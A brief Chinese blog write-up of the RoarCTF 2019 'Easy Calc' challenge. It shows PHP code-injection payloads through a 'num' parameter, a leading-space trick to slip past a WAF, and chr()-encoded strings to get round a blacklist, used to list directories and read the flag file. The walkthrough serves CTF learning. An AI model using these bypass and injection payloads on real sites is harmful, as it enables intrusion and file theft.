[RoarCTF 2019]Easy Calc1

输入1
输入1'
sql注入不行
查看源码 发现calc.php
进入发现源码
有黑名单禁止
传入 ?num=system('ls'); 返回页面
假设是被上面的 php 文件中的过滤机制过滤了,那么应该输出:what are you want to do? ,这句话才对,但是出现这种画面,应该是被防火墙拦截了。
看wp学一种新做法
传入 ? num=system('ls');
回显是php过滤了
原理是什么:假设服务器只对num参数过滤 而这相当于我们传入的参数是空格 就没有检测到num 而当空格num传到后端 被php代码处理就会自动去除多余空格和制表符

绕过waf过后 就是绕过php正则了

那么这里如何绕过黑名单呢

payload:? num=var_dump(scandir(chr(46)));

逐步解析
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表
因为这里禁了. 所以我们用char(46) #ASCII码值
var_dump() 函数将该列表输出到页面上

然后再输入payload:? num=var_dump(scandir(chr(47)));
显现出了f1agg

然后我们要读取 这个文件
payload:? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

逐步解析:
file_get_contents
file_get_contents() 函数把整个文件读入一个字符串中
而后是 f1agg ASCII转字符串

‘.’ 用作字符串连接

最终出flag

posted @ 2024-11-07 15:30  Sauy  阅读(31)  评论(0)    收藏  举报